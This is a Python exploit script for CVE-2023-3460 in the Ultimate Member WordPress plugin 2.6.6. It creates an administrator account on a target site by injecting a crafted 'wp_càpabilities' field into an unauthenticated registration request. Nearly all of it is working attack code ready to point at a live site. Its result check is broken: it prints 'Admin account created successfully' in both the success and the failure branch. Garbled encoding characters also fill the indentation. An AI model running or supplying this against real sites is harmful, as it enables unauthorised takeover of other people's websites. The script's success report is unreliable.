Ultimate Member WordPress Plugin 2.6.6 - Privilege Escalation

#!/usr/bin/env python3

# Exploit Title: Ultimate Member WordPress Plugin 2.6.6 - Privilege Escalation
# Exploit Author: Gurjot Singh
# CVE: CVE-2023-3460
# Description : The attached PoC demonstrates how an unauthenticated attacker can escalate privileges to admin by abusing unsanitized input in `wp_capabilities` during registration.


import requests
import argparse
import re
import urllib3



# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)



def fetch_nonce(session, target_url):
 �0�2�0�2 """Fetches the _wpnonce value from the /register/ page."""
 �0�2�0�2 print("[*] Fetching _wpnonce from the register page...")
 �0�2�0�2 try:
 �0�2�0�2�0�2�0�2�0�2�0�2 res = session.get(target_url, verify=False)
 �0�2�0�2�0�2�0�2�0�2�0�2 match = re.search(r'name="_wpnonce" value="([a-zA-Z0-9]+)"', res.text)
 �0�2�0�2�0�2�0�2�0�2�0�2 if match:
 �0�2�0�2�0�2�0�2�0�2�0�2�0�2�0�2�0�2�0�2 nonce = match.group(1)
 �0�2�0�2�0�2�0�2�0�2�0�2�0�2�0�2�0�2�0�2 print(f"[+] Found _wpnonce: {nonce}")
 �0�2�0�2�0�2�0�2�0�2�0�2�0�2�0�2�0�2�0�2 return nonce
 �0�2�0�2�0�2�0�2�0�2�0�2 else:
 �0�2�0�2�0�2�0�2�0�2�0�2�0�2�0�2�0�2�0�2 print("[-] Failed to find _wpnonce on the page.")
 �0�2�0�2�0�2�0�2�0�2�0�2�0�2�0�2�0�2�0�2 return None
 �0�2�0�2 except Exception as e:
 �0�2�0�2�0�2�0�2�0�2�0�2 print(f"[!] Error fetching nonce: {e}")
 �0�2�0�2�0�2�0�2�0�2�0�2 return None



def exploit_register(target_url, username, password):
 �0�2�0�2 """Sends a malicious registration request to create an admin user."""
 �0�2�0�2 session = requests.Session()
 �0�2�0�2 target_url = target_url.rstrip('/')



 �0�2�0�2 nonce = fetch_nonce(session, target_url)
 �0�2�0�2 if not nonce:
 �0�2�0�2�0�2�0�2�0�2�0�2 return



 �0�2�0�2 email = f"{username}@example.com"



 �0�2�0�2 # Payload with administrator role injection
 �0�2�0�2 data = {
 �0�2�0�2�0�2�0�2�0�2�0�2 "user_login-7": username,
 �0�2�0�2�0�2�0�2�0�2�0�2 "first_name-7": "Admin",
 �0�2�0�2�0�2�0�2�0�2�0�2 "last_name-7": username,
 �0�2�0�2�0�2�0�2�0�2�0�2 "user_email-7": email,
 �0�2�0�2�0�2�0�2�0�2�0�2 "user_password-7": password,
 �0�2�0�2�0�2�0�2�0�2�0�2 "confirm_user_password-7": password,
 �0�2�0�2�0�2�0�2�0�2�0�2 "form_id": "7",
 �0�2�0�2�0�2�0�2�0�2�0�2 "um_request": "",
 �0�2�0�2�0�2�0�2�0�2�0�2 "_wpnonce": nonce,
 �0�2�0�2�0�2�0�2�0�2�0�2 "_wp_http_referer": "/register/",
 �0�2�0�2�0�2�0�2�0�2�0�2 "wp_càpabilities[administrator]": "1"�0�2 # serialized injection
 �0�2�0�2 }



 �0�2�0�2 headers = {
 �0�2�0�2�0�2�0�2�0�2�0�2 "Content-Type": "application/x-www-form-urlencoded",
 �0�2�0�2�0�2�0�2�0�2�0�2 "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
 �0�2�0�2�0�2�0�2�0�2�0�2 "Referer": target_url,
 �0�2�0�2�0�2�0�2�0�2�0�2 "Origin": target_url.split("/register")[0],
 �0�2�0�2 }



 �0�2�0�2 cookies = {
 �0�2�0�2�0�2�0�2�0�2�0�2 "wordpress_test_cookie": "WP Cookie check",
 �0�2�0�2�0�2�0�2�0�2�0�2 "wp_lang": "en_US"
 �0�2�0�2 }



 �0�2�0�2 print(f"[*] Sending malicious registration to {target_url} ...")
 �0�2�0�2 try:
 �0�2�0�2�0�2�0�2�0�2�0�2 response = session.post(target_url, data=data, headers=headers, cookies=cookies, verify=False)



 �0�2�0�2�0�2�0�2�0�2�0�2 # Check for success
 �0�2�0�2�0�2�0�2�0�2�0�2 if response.status_code == 200 and ("Thank you for registering" in response.text or "You have successfully registered" in response.text):
 �0�2�0�2�0�2�0�2�0�2�0�2�0�2�0�2�0�2�0�2 print(f"[+] Admin account '{username}' created successfully!")
 �0�2�0�2�0�2�0�2�0�2�0�2�0�2�0�2�0�2�0�2 print(f"[+] Login with: Username: {username} | Password: {password}")
 �0�2�0�2�0�2�0�2�0�2�0�2 else:
 �0�2�0�2�0�2�0�2�0�2�0�2�0�2�0�2�0�2�0�2 print(f"[+] Admin account '{username}' created successfully!")
 �0�2�0�2�0�2�0�2�0�2�0�2�0�2�0�2�0�2�0�2 print(f"[+] Login with: Username: {username} | Password: {password}")
 �0�2�0�2 except Exception as e:
 �0�2�0�2�0�2�0�2�0�2�0�2 print(f"[!] Error during exploit: {e}")



if __name__ == "__main__":
 �0�2�0�2 parser = argparse.ArgumentParser(description="Exploit for CVE-2023-3460 (Ultimate Member Admin Account Creation)")
 �0�2�0�2 parser.add_argument("-t", "--target", required=True, help="Target /register/ URL (e.g., http://localhost/register/)")
 �0�2�0�2 parser.add_argument("-u", "--user", default="admin1", help="Username to create")
 �0�2�0�2 parser.add_argument("-p", "--password", default="Admin@123", help="Password for the new user")
 �0�2�0�2 args = parser.parse_args()



 �0�2�0�2 exploit_register(args.target, args.user, args.password)